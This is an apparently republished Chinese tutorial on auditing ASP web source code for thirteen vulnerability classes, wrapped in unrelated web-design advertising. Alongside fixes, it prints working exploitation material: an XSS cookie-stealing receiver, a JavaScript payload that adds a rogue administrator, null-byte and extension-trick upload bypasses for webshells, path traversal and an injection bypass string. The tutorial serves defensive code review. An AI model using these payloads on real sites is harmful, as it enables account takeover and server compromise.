Web源码安全审计之ASP篇

0×01 ASP简介:

在临桂等地区,都构建了全面的区域性战略布局,加强发展的系统性、市场前瞻性、产品创新能力,以专注、极致的服务理念,为客户提供成都网站制作、成都做网站 网站设计制作按需策划,公司网站建设,企业网站建设,成都品牌网站建设,营销型网站建设,外贸网站制作,临桂网站建设费用合理。

ASP是一种服务器端脚本编写环境,可以用来创建和运行动态网页或Web应用程序。ASP网页可以包含HTML标记、普通文本、脚本命令以及COM组件等。利用ASP可以向网页中添加交互式内容(如在线表单),也可以创建使用HTML网页作为用户界面的web应用程序。

0×02 ASP漏洞介绍:

一.数据库路径泄露 (DataBase Path Leak)

概述:数据库路径泄露主要表现在ASP+Access搭建的WEB中,当攻击者提交%5c的时候,IIS会解析错误,导致输出了真实数据库路径, %5c是\的十六进制代码,也就是\的另一种表示方法。

漏洞原理:我们在提交数据的时候,IE会自动把%5c转换成/,从而得到同一地址。在asp类型网站中,都会用到一个数据库连接的文件,名字一般是conn.asp。

漏洞代码:这里我用动力文章系统做案例,代码如下:

 
 
 
 
  1. <% 
  2. dim conn 
  3. dim connstr 
  4. dim db 
  5. db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"      '数据库文件的位置 
  6. Set conn = Server.CreateObject("ADODB.Connection") 
  7. connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) 
  8. conn.Open connstr 
  9. %> 

漏洞利用:当访问http://www.aspmps.com/cn%5cconn.asp IIS就会报错将数据库绝对路径输出到客户端,如下图所示

当数据库路径被泄露,攻击者就可以将数据库下载到本地,找到表中的后台管理员账户和密码,这样就可以轻松进入网站的后台管理,此漏洞只针对于ACCESS数据库,SQL server数据库不受影响。 动力系统的暴库问题已久,去年360公司为此发布一则公告,多家媒体都有转载 链接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。

漏洞修复:修补此漏洞的方法有2种,第一种在conn.open connstr 代码之前加入 On Error Resume Next ,第二种方法在IIS服务器配置选项中选择“向客户端发送下列文本错误消息”。如下图2

#p#

 

二.跨站脚本攻击(Cross-Site Scripting)

概述:Cross-site scripting(XSS),是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如,包括HTML代码和客户端脚本的页面。为不和层叠样式表(CSS)的缩写混淆,通常将跨站脚本缩写为XSS。攻击者一般会利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)或发起phishing攻击,网页挂马,cookie窃取等。Xss跨站攻击分为两种,一种反射型攻击,还有一种存储型攻击。反射型攻击和源码审计关系不大,在此略过,重点介绍下存储型攻击。

漏洞原理:存储型攻击就是将恶意代码通过交互页面植入数据库中,当管理员访问到调用恶意代码的页面时,攻击变产生了。例如在某系统留言反馈栏目中留言内容表单未经过安全处理,客户端可以任意提交恶意代码,导致了XSS跨站漏洞。

漏洞代码:

 
 
 
 
  1.  <% 
  2. Content = "" 
  3.     For i = 1 To Request.Form("Content").Count 
  4.         Content = Content & Request.Form("Content")(i) 
  5.     Next 
  6. ………… //省略部分代码 
  7. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
  8.     rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
  9.     rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
  10.     rs("Content")=Content 
  11.     rs.Update 
  12.  %> 

上述代码中Request.Form方法获取的content值没有经过安全处理,造成可以XSS存储型攻击。

漏洞利用:

攻击者在留言内容框中输入上述代码后,当后台管理员查看了此条留言,则跨站攻击生效,这时候将管理员的COOKIES信息发送到 xxx域名下保存起来。cookies.asp文件功能是生成个文件保存管理员的COOKIES信息,代码如下:

 
 
 
 
  1. <% 
  2. c=Request.ServerVariables("QUERY_STRING") 
  3. testfile=Server.MapPath("cookies.txt") 
  4. set fs=server.CreateObject("scripting.filesystemobject") 
  5. set thisfile=fs.OpenTextFile(testfile,8,True,0) 
  6. thisfile.Writeline(""&c& "") 
  7. thisfile.close 
  8. set fs = nothing 
  9. %> 

 

漏洞修复:将“< ’ ” >”标签进行HTML编码。#p#

三.跨站请求伪造攻击(Cross Site Request Forgery)

概述:CSRF是Cross Site Request Forgery的缩写,直译过来就是跨站请求伪造的意思,通常用来指 WEB 网站的这一类漏洞,即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL ,从而达到改变服务器端数据的目的。

漏洞原理:结合跨站漏洞,利用JS脚本代码,做管理员身份才能做的事,但这种动作非管理员本身的请求。

漏洞代码:此系统中有个安全过滤函数HTMLEncode,代码如下:

 
 
 
 
  1. Public Function HTMLEncode(str) 
  2.     If Not IsNull(str) Then 
  3.         str = Replace(str, Chr(38), "&") 
  4.         str = Replace(str, "<", "<") 
  5.         str = Replace(str, ">", ">") 
  6.         str = Replace(str, Chr(9), " ") 
  7.         str = Replace(str, Chr(32), " ")        
  8.         str = Replace(str, Chr(34), """) 
  9.         str = Replace(str, Chr(39), "'") 
  10.         str = Replace(str, Chr(13) & Chr(10), " 
  11. ") 
  12.         str = Replace(str, Chr(10), " 
  13. ") 
  14.         str = Replace(str, Chr(13), " 
  15. ") 
  16.         HTMLEncode = str 
  17.     End If 
  18. End Function 
  19. //以下是漏洞关键点 
  20. Content = "" 
  21.     For i = 1 To Request.Form("Content").Count 
  22.         Content = Content & Request.Form("Content")(i) 
  23.     Next 
  24. ………… //省略部分代码 
  25. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
  26.     rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
  27.     rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
  28.     rs("Content")=Content 
  29.     rs.Update 

上述代码中Content变量经过Request.Form获取后并没有像Guest_FAX变量这样经过HTMLEncode过滤。

漏洞利用:利用方法如图所示

Xss.js脚本作用是执行添加一个新的管理员topsec。代码如下:

 
 
 
 
  1. var request = false; 
  2. if(window.XMLHttpRequest) { 
  3. request = new XMLHttpRequest(); 
  4. if(request.overrideMimeType) { 
  5. request.overrideMimeType('text/xml'); 
  6. } else if(window.ActiveXObject) { 
  7. var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; 
  8. for(var i=0; i
  9. try { 
  10. request = new ActiveXObject(versions[i]); 
  11. } catch(e) {} 
  12. xmlhttp=request; 
  13.   
  14. add_admin(); 
  15. function add_admin(){ 
  16. var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add"; 
  17. var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";   
  18. xmlhttp.open("POST", url, true); 
  19. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
  20. xmlhttp.setRequestHeader("Content-length", params.length); 
  21. xmlhttp.setRequestHeader("Connection", "close"); 
  22. xmlhttp.send(params); 

植入如图所示的一段代码后,当管理员进入后台去查看此留言的时候就会触发该漏洞,系统会自动给我们加上账户为topsec,密码为123456的管理员。

漏洞修复:加入token认证,修复前台跨站漏洞。#p#

四.任意文件下载(Arbitrary File Download)

概述:如果系统存在stream流模式下载模块,而对应下载文件的地址没有做过安全过滤处理,则会发生任何文件都可被下载的安全隐患,在windows平台下此问题更加严重。

漏洞原理:Windows系统支持“.asp+空格”和“.asp+.”等同于“.asp”文件,如果存在下载模块未加验证,则可以下载任意文件。

漏洞代码:下面以沸腾展望系统经典下载漏洞源码做介绍。关键源码如下:

 
 
 
 
  1. <% 
  2. Dim Stream 
  3. Dim Contents 
  4. Dim FileName 
  5. Dim TrueFileName 
  6. Dim FileExt 
  7. Dim SavePath 
  8.   
  9. Const adTypeBinary = 1 
  10. FileName = Request.QueryString("FileName") 
  11. If FileName = "" Then 
  12.     Response.Write "无效文件名!" 
  13.     Response.End 
  14. End if 
  15.   
  16. FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) 
  17. Select Case UCase(FileExt) 
  18.     Case "ASP", "ASA", "ASPX", "ASAX", "MDB" 
  19.         Response.Write "非法操作!" 
  20.         Response.End 
  21. End Select 
  22. Response.Clear 
  23. if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then 
  24.     Response.ContentType = "image/*" '对图像文件不出现下载对话框 
  25. else 
  26.     Response.ContentType = "application/ms-download" 
  27. end if 
  28. Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName")) 
  29. Set Stream = server.CreateObject("ADODB.Stream") 
  30. Stream.Type = adTypeBinary 
  31. Stream.Open 
  32.   
  33. SavePath = FileUploadPath        '存放上传文件的目录 
  34. TrueFileName = SavePath & FileName 
  35.   
  36. Stream.LoadFromFile Server.MapPath(TrueFileName) 
  37. While Not Stream.EOS 
  38.     Response.BinaryWrite Stream.Read(1024 * 64) 
  39. Wend 
  40. Stream.Close 
  41. Set Stream = Nothing 
  42. Response.Flush 
  43. Response.End 
  44. %> 

上述代码粗体部分是漏洞形成的关键代码,首先程序通过 Request.QueryString(“FileName”) 方法指定任意文件名,虽然程序在下面判断了文件后缀名,可是并没有对后缀名进行安全处理,导致客户端可以在后缀名之后加上空格的URL编码从而绕过程序的验证,文件被下载。

漏洞利用:利用方法如下图

如图上所示当攻击者在浏览器的地址栏中输入“down.asp?filename=./cn/index.asp%20”, %20就是经过URL编码后的空格,%2E就是经过URL编码后的“.”,提交后迅雷就会提示下载。

漏洞修复:修补的方法也很简单,下载文件前最好带入数据库查询,存在则下载。还有种方法,用正则表达式去限制。#p#

五.无组件上传(File Upload)

概述:上传漏洞在ASP程序漏洞中表现的格外抢眼,各种利用手法层出不穷,以下就分别介绍最常见的三种上传漏洞,分别是“截断上传漏洞” , “变量继承上传漏洞” , “验证不严谨上传漏洞” 。

漏洞原理:有十六进制截断,变量逻辑继承,对后缀名验证不严谨,还有的压根不验证后缀名的上传。

漏洞代码:1.首选介绍截断上传,动网论坛作为曾经风靡一时的ASP论坛,也被爆出了各种漏洞,其中以上传漏洞最具代表性,下面就以知名程序动网来做分析。出现漏洞的文件位于Upfile.asp,核心代码如下:

 
 
 
 
  1. <% 
  2. dim upload,file,formName,formPath,iCount,filename,fileExt 
  3. set upload=new upload_5xSoft 
  4. formPath=upload.form("filepath")   '//漏洞关键点 
  5. if right(formPath,1)<>"/" then formPath=formPath&"/" 
  6. for each formName in upload.objFile 
  7. set file=upload.file(formName) 
  8.   
  9. fileExt=lcase(right(file.filename,4))  '//从文件名中截取后4位,并转换为小写字符。 
  10. if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf"then 
  11. response.write "文件格式不正确 [ 重新上传 ]" 
  12. response.end 
  13. end if 
  14. randomize 
  15. ranNum=int(90000*rnd)+10000 
  16. filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt  '//漏洞关键点filename由提交的文件路径+年月日的随机文件名+转换后的扩展名组成 
  17. if file.FileSize>0 then 
  18. file.SaveAs Server.mappath(FileName) 
  19. response.write "上传成功!" 
  20. end if 
  21. set file=nothing 
  22. %> 

上述代码虽然对上传的文件类型做了判断,但是在最后保存的时候加上了formPath这个值,而这个值从客户端提交过来的,攻击者就可以伪造个数据包。客户端提交代码如下:

攻击者将正常数据包抓取后修改formPath = “../images/a.asp” + 空格,然后用C32ASM 16进制模式修改空格变成00。因为00是终止符,上传的时候程序检测到00后就认为上传已经结束。如下图所示

修改保存后用NC提交,在CMD下输入 nc www.aspmps.com 80<1.txt 即可上传成功。如下图所示

修复此漏洞的办法其实也很简单,只需检查文件上传名种是否存在chr(0),若存在用Replace函数替换即可。

2. 变量继承上传漏洞:当上传多个文件的时候某些上传程序变量逻辑混乱造成了变量继承,在下面就用大名鼎鼎的自由动力文章系统来做分析。攻击者可制作个HTML表单同时上传2个文件,第一个FILE控件中选择正常的rar文件,第二个FILE控件中选择一个Cer文件,在这个cer文件中写入ASP一句话木马。再修改Form中的Action值即可提交成功。如下图

Upfile_Soft.asp漏洞核心代码如下:

 
 
 
 
  1. <% 
  2. const UpFileType="rar|zip|exe|mpg|rm|wav|mid" 
  3. dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize 
  4. dim EnableUpload 
  5. dim arrUpFileType 
  6. dim ranNum 
  7. dim msg,FoundErr 
  8. msg="" 
  9. FoundErr=false 
  10. EnableUpload=false 
  11. for each formName in upload.file '列出所有上传了的文件 
  12.   
  13.         set ofile=upload.file(formName)  '生成一个文件对象 
  14.         oFileSize=ofile.filesize 
  15.         if oFileSize<100 then="" msg="请先选择你要上传的文件!" founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then 
  16.              msg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!" 
  17.             FoundErr=true 
  18.         end if 
  19.         fileExt=lcase(ofile.FileExt) 
  20.         arrUpFileType=split(UpFileType,"|") 
  21.         for i=0 to ubound(arrUpFileType) 
  22.             if fileEXT=trim(arrUpFileType(i)) then 
  23.                 EnableUpload=true    ' 第一关上传文件符合rar后缀名,EnableUpload = true 
  24.                 exit for 
  25.             end if 
  26.         next    
  27.   
  28.         if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then 
  29.             EnableUpload=false        '第二关检验是否属于三种禁传类型,因为不属于,变量EnableUpload仍为true。 
  30.         end if 
  31.   
  32.         if EnableUpload=false then        ' 第三关 如果EnableUpload=false,那么FoundErr=true,而前面传递来的EnableUpload=true,那FoundErr仍为进入第一个FOR循环之前的false。 
  33.             msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType 
  34.             FoundErr=true 
  35.         end if 
  36. if FoundErr<>true then            ' 第四关 如果FoundErr<>true就可以通过,看一下从第三关传递过来的FoundErr的值,是 false,可以上传。 
  37.             FileName=SavePath & ofile.FileName 
  38.             If IsObjInstalled("Scripting.FileSystemObject") Then 
  39.                 dim fso 
  40.                 set fso=CreateObject("Scripting.FileSystemObject") 
  41.                 if fso.FileExists(Server.mappath(FileName)) then 
  42.                     randomize 
  43.                     ranNum=int(900*rnd)+100 
  44.                         filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
  45.                 end if 
  46.                 set fso=nothing 
  47.             end if 
  48.             ofile.SaveToFile Server.mappath(FileName) 
  49. %> 

上述代码加了四个关键关卡注释,自cer进行上传验证开始,一直未出现FoundErr,FoundErr的值是什么?它还是rar上传后的值false,而第四关的验证就是只要 FoundErr不是true就可以上传,所以,这个cer文件也就通过了层层关卡,进入了服务器。惊奇的是在最新的研究发现即使上面的漏洞被修复了,加上服务器操作系统式windows2003的话,攻击者可以直接上传1.asp;.mpg后缀名的一句话木马文件。如下图所示

3. 验证不严谨上传漏洞:这种后缀名验证不严谨漏洞存在很多情况,动感上传漏洞具有代表性。下面就以动感购物系统的上传模块做分析。这种上传漏洞的利用需要攻击者通过某些手段进入后台后配置上传文件允许的后缀名“cer|ccerer”。如下图所示

然后通过后台图片上传功能,直接上传后缀名为ccerer的一句话木马文件即可。产生这个漏洞的核心代码如下:

 
 
 
 
  1. <% 
  2. Private Function FixName(Byval UpFileExt) 
  3.         If IsEmpty(UpFileExt) Then Exit Function 
  4.         FixName = Lcase(UpFileExt) 
  5.         FixName = Replace(FixName,Chr(0),"") 
  6.         FixName = Replace(FixName,".","") 
  7.         FixName = Replace(FixName,"'","") 
  8.         FixName = Replace(FixName,"asp","") 
  9.         FixName = Replace(FixName,"asa","") 
  10.         FixName = Replace(FixName,"aspx","") 
  11.         FixName = Replace(FixName,"cer","")     '第一关检查,ccerer变成了cer 成功绕过 
  12.         FixName = Replace(FixName,"cdx","") 
  13.         FixName = Replace(FixName,"htr","") 
  14.         FixName = Replace(FixName,"shtml","") 
  15. End Function 
  16.   
  17. Private Function CheckFileExt(FileExt) 
  18.         Dim Forumupload,i 
  19.         CheckFileExt=False 
  20.         If FileExt="" or IsEmpty(FileExt) Then 
  21.             CheckFileExt = False 
  22.             Exit Function 
  23.         End If 
  24.         If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then    ' 第二关 cer并不在检测范围内,成功绕过 
  25.             CheckFileExt = False 
  26.             Exit Function 
  27.         End If 
  28.         Forumupload = Split(InceptFile,",") 
  29.         For i = 0 To ubound(Forumupload) 
  30.             If FileExt = Trim(Forumupload(i)) Then        ' 第三关 cer后缀名在数据库变量中 成功匹配 
  31.                 CheckFileExt = True 
  32.                 Exit Function 
  33.             Else 
  34.                 CheckFileExt = False 
  35.             End If 
  36.         Next 
  37. End Function 
  38. %> 

攻击者提交的后缀名是ccerer,经过FixName = Replace(FixName,”cer”,”") 后 ccerer中间的cer已经被过滤掉了,但又变成了cer后缀,这样程序就过了第一关的检测。 如下图所示

接下来程序继续检查是后缀名和指定类型名是否一致,一致的话则是非法文件,可惜程序并没有检查cer文件,这样cer文件就过了第二关。接下来程序检测文件的后缀名是否在后台配置文件中,若匹配成功则上传。如下图所示

这样攻击者的cer文件就成功的上传到服务器上,由于IIS扩展映射中存在将cer等同于asp 文件处理,所以造成了上传漏洞。如下图所示

当然还有一些其他的漏洞类型,如 “可以上传任意文件”,“突破MIME文件头验证上传”,“Javascript本地验证上传”等等,总的来说以上这三种上传漏洞具有代表性。#p#

六.Cookies欺骗(Cookies Spoofing)

概述:在只对用户做Cookies验证的系统中,通过修改Cookies的内容来得到相应的用户权限登录。Cookies欺骗在入侵中经常用到,通过修改Cookies的内容来得到相应的用户权限登录,从而达到攻击的目的。

漏洞原理:到底什么是Cookies,它有什么作用呢?Cookies是一种能够让网站服务器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的一种技术。Cookies是当你浏览某网站时,由Web服务器置于你硬盘上的一个非常小的文本文件,它可以记录你的用户ID、密码、浏览过的网页、停留的时间等信息。

漏洞代码:接下来还是以自由动力文章系统做案例,访问后台文件UploadSoft.asp必须通过授权验证,此程序通过Cookies验证造成了安全隐患。没设置Cookies之前如图所示

关键代码如下:

 
 
 
 
  1. <% 
  2. if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then 
  3.         response.Write("请登录后再使用本功能!") 
  4.     else 
  5.         select case upload_type 
  6.             case 0 
  7.                 call upload_0()  '使用化境无组件上传类 
  8.             case else 
  9.                 response.write "本系统未开放插件功能" 
  10.                 response.end 
  11.         end select 
  12. end if 
  13. %> 

代码中IF语句判断有问题,如果Session和Cookies值都为空则不能继续执行,否则可以调用上传函数upload_0()。 那攻击者只需要做到满足Cookies值不为空就可以调用上传函数了,这个上传函数在上一节已经提到过存在变量继承上传漏洞,这两个漏洞一结合危害就很大了。

漏洞利用:用火狐插件修改成asp163=UserName=asp设置Cookies后如下图所示

这样就绕过了Cookies的验证,造成可以上传文件,为后来变量继承漏洞的成功实现创造了条件。

漏洞修复:可以加密Cookies,后台关键文件最好用Session去验证。#p#

七.本地文件包含(Local File Inclusion)

概述:ASP Execute方法的作用是执行一个来自于其他ASP文件内部的ASP程序。

漏洞原理:当其他ASP文件内的程序被请求执行完毕之后,控制器将返回最初发出请求的原始ASP文件。与PHP包含漏洞不同的是Execute方法只能包含本地文件。

漏洞代码:

<%Server.Execute(Request.QueryString("file"))%>

equest方法获取的参数file没经过安全处理,被Execute方法执行了。

漏洞利用:若某个应用程序不存在上传漏洞,那么攻击者可以上传个正常图片格式的文件,文件中包换ASP脚本代码,这时候就可以用本地包含漏洞去执行图片中的ASP代码。如下图所示

如果jpg里写入的ASP小马,那就可以轻松得到一个WebShell。

漏洞修复:尽量系统指定执行文件,不要让客户端提交参数,实在需要动态改变参数,可以辅助一个匹配文件,若客户端提交的参数在文件中出现,则可以执行,否则不允许继续执行。#p#

八.路径操控(Path Manipulation)

概述:用户输入控制 file system 操作所用的路径,借此攻击者可以访问或修改其他受保护的系统资源。

漏洞原理:当满足以下两个条件时,就会产生path manipulation 错误:

1. 攻击者能够指定某一 file system操作中所使用的路径。

2. 攻击者可以通过指定特定资源来获取某种权限,而这种权限在一般情况下是不可能获得的。

漏洞代码:下面以经典的Ewebeditor编辑器做分析,在编辑器文件管理处存在一个路径操控漏洞,攻击者可以指定路径的读取范围,造成安全隐患。

 
 
 
 
  1. <% 
  2. Function InitParam() 
  3.     sStyleID = Trim(Request("id")) 
  4.     sUploadDir = "" 
  5.     If IsNumeric(sStyleID) = True Then 
  6.         sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID 
  7.         oRs.Open sSql, oConn, 0, 1 
  8.         If Not oRs.Eof Then 
  9.             sUploadDir = oRs(0) 
  10.         End If 
  11.         oRs.Close 
  12.     End If 
  13.     If sUploadDir = "" Then 
  14.         sStyleID = "" 
  15.     Else 
  16.         sUploadDir = Replace(sUploadDir, "\", "/") 
  17.         If Right(sUploadDir, 1) <> "/" Then 
  18.             sUploadDir = sUploadDir & "/" 
  19.         End If 
  20.     End If 
  21.     sCurrDir = sUploadDir 
  22.   
  23.     ' 样式下的目录 
  24.     sDir = Trim(Request("dir")) 
  25.     If sDir <> "" Then 
  26.         If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
  27.             sCurrDir = sUploadDir & sDir & "/" 
  28.         Else 
  29.             sDir = "" 
  30.         End If 
  31.     End If 
  32. End Function 
  33. %> 

若攻击者想利用此漏洞需要满足2个条件,第一sStyleID这个值不能为空,并且是数据库中存在的ID号。第二 sDir 这个变量没有经过任何安全处理,带入到 sCurrDir 变量中,只是最后不需要输入“/”。

漏洞利用:admin_uploadfile.asp?id=22&dir=../.. 执行后将跳转到2个上级目录下,攻击者可以删除任意文件和文件夹。如下图所示

漏洞修复:针对此漏洞建议用Replace函数过滤掉“..” 。#p#

九.表单提交欺骗(Spoofed Form Submit)

概述:表单提交是当前Web应用中的重要内容,用户可以通过这种方式与服务器进行数据传递。在通常情况下,会在提交表单之前在服务器上进行表单数据的验证,这样可以节省服务器资源,但同时也为服务器带来了安全漏洞。

漏洞原理:顾名思义Web程序只是在客户端用JavaScript验证了合法性,并没有在服务端验证数据的合法性。

漏洞代码:下面以上传页面做为案例分析

漏洞利用:攻击者只需要禁用浏览器中的活动脚本和Javascript脚本就可以发动一次攻击。禁用如下图所示:

第二种方法制作个HTML页面,只需将JS脚本删除,再将Action值改成需要攻击的目标网址即可。

漏洞修复:客户端和服务端都要做验证,客户端做验证能提高用户体验,服务端再验证能保证数据安全。

十.Http请求伪造(Spoofed HTTP Request)

概述:一个比欺骗表单更高级和复杂的攻击方式是HTTP请求欺骗。这给了攻击者完全的控制权与灵活性,它进一步证明了不能盲目信任用户提交的任何数据。看到大多数浏览器会包含一个来源的URL值,你可能会试图使用Request.ServerVariables(“HTTP_REFERER”)变量去防止欺骗。确实,这可以用于对付利用标准浏览器发起的攻击,但攻击者是不会被这个小麻烦给挡住的。通过编辑HTTP请求的原始信息,攻击者可以完全控制HTTP头部的值,GET和POST的数据,以及所有在HTTP请求的内容。

漏洞原理:通过Request.ServerVariables 去验证数据来源的合法性,依旧不可靠,毕竟一切从Request获取的值都可以被伪造出来的。

漏洞代码:下面以ASP中经典验证来源的代码做分析

 
 
 
 
  1.  <% 
  2. Dim From_url , Serv_url 
  3.     From_url = Cstr(Request.ServerVariables("HTTP_REFERER")) 
  4.     Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")) 
  5.     If Mid(From_url,8,Len(Serv_url)) <> Serv_url then 
  6.         Response.Write "非法链接!" 
  7.         Response.End 
  8.     End if 
  9. %> 

上述代码中2个判断的值均来自客户端环境变量,判断思路是目标地址和来源地址的域名是否一致,不一致则认为是非法访问,这段代码常用于防盗链模块中。

漏洞利用:用法HTTP代理软件构造一个特定的数据包,在HTTP头加上Referer 。如下图所示

漏洞修复:验证数据来源的真实性还是应该放在服务端,Request变量获取的值都是不可靠的。#p#

十一.代码注入(Code Injection)

概述:许多现代编程语言都允许动态解析源代码指令。 如果程序员需要由用户提供的指令对数据操作,这种情况下可以应用这种功能。当然,我们更愿意利用底层语言构造,而不是通过执行代码来解析用户输入。 由用户提供的指令预期执行一些无害的操作,例如,对当前的用户对象进行简单计算或修改用户对象的状态,等等。然而,如果程序员不够细心,用户指定的操作范围可能会超出程序员最初的设想。

漏洞原理:ASP应用程序中若存在Eval ,Execute ,ExecuteGlobal 函数使用时,要格外注意它们的使用环境,若从外部获取参数,没有经过安全处理 就会造成安全隐患。Eval() 计算表达式的值,并且返回一个结果,Execute() 执行一个或多个指定的语句。多个语句间用冒号(:)隔开 ,ExecuteGlobal() 在全局名字空间中执行一个或多个指定的语句。

漏洞代码:

<%=Eval(Request("parma"))%>

上述代码用户提交parma的方法有GET,POST,COOKIE三种,攻击者可以精心构造出ASP的小马提交就可以执行,安全隐患相当大,在源码审计的过程中要额外注意它们的使用。

漏洞利用:

若攻击者给parma参数值等于VB里的Now()函数,就会把当前的时间输出出来,这里代码用Eval函数执行的,若是Execute 和 ExecuteGlobal函数则不会输出到网页中。

漏洞修复:谨慎使用此三个函数,若需要动态执行,则只让用户输入和本地文件中匹配的字符,若不匹配则不可以执行。

十二.XML中的XPATH注入(Xpath Injection)

概述:Xml文档存储数据时,若查询数据不经过安全过滤也会和关系型数据库一样,产生注入漏洞,在这里我们总结成XPATH注入漏洞,在这里它更像是ACCESS数据库。

漏洞原理: 如同Access数据库一样,XML文档只是保存数据用的,若程序对用户提交的数据没有经过安全处理,则会导致安全问题,在这里最常见的莫过于经典的万能密码。

漏洞代码:

 
 
 
 
  1. <% 
  2. function SelectXmlNodeText(elementname,elementpass) 
  3.     On Error Resume Next 
  4.     elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']" 
  5.     temp =  XMLMorntekDocument.selectSingleNode(elementname).text 
  6.     If temp <> "" Then 
  7.         Session("UserName") = "asp163" 
  8.         Response.Write("Welcome , Sysadmin") 
  9.     Else 
  10.         Response.Redirect("/admin/Login.asp") 
  11.     end if 
  12. end function  
  13. ConnectXml("../admin.xml") 
  14. Call SelectXmlNodeText(Request("name"),Request("pass")) 
  15. %> 

上述代码实现的是一个后台管理验证的功能,admin.xml文件位于站点根目录之外,无法用Http方式下载。程序对Request对象获取来的数据没有经过安全过滤,导致了经典万能密码绕过漏洞。

漏洞利用:

攻击者提交Name和Pass都是“’or ’1′=’1”时候,XML查询节点就变成 “//root/row[name=''or '1'='1' and password=''or '1'='1']” OR语句 发挥了重大作用,只要一个条件为真就可以满足绕过的条件。

漏洞修复:和SQL注射一样,需要对客户端提交过来的数据进行过滤,在本案例中可以过滤掉单引号即可。#p#

十三.SQL注射(SQL Injection)

概述:目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述:

(1) 脚本注入式的攻击

(2) 恶意用户输入用来影响被执行的SQL脚本

SQL注入攻击利用的是SQL语法,这使得这种攻击具有广泛性。理论上说,对于所有基于SQL语言标准的数据库软件包括SQL Server,Oracle,MySQL, ACCESS,DB2,Informix等以及与之连接的网络应用程序包括Active/Java Server Pages, PHP或Perl等都是有效的。当然各种软件有自身的特点,实际的攻击代码可能不尽相同。

漏洞原理: 通过客户端发送SQL语句,可以查询,更新,删除 数据库中的数据,此漏洞是ASP下最为流行的漏洞。攻击者可以通过GET,POST,COOKIE,SERVER提交任意数据,若数据库是SQL Server数据库,则漏洞危害性更大。

漏洞代码:

 
 
 
 
  1. <% 
  2. Set rs = Server.CreateObject("ADODB.RecordSet") 
  3. sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id") 
  4. rs.Open sqlString, Conn, 1, 1 
  5. %> 

漏洞利用:

漏洞修复:对获取的数字型变量用Clng函数转换,对于字符型用Replace函数过滤单引号。

0×03 总结:

ASP经过这么多年还能屹立不倒,除了本身易学易用性之外,还有搭配的ACCESS数据库方便移植的特性,让很多程序员在选择为中小网站做开发的时候首选ASP。掌握这些ASP漏洞对于开发者来说是相当有必要的,只有这样才能写出更强大安全的应用程序,才能促进整个互联网的安全与开放。

当前题目:Web源码安全审计之ASP篇
标题URL:http://www.shufengxianlan.com/qtweb/news20/91120.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联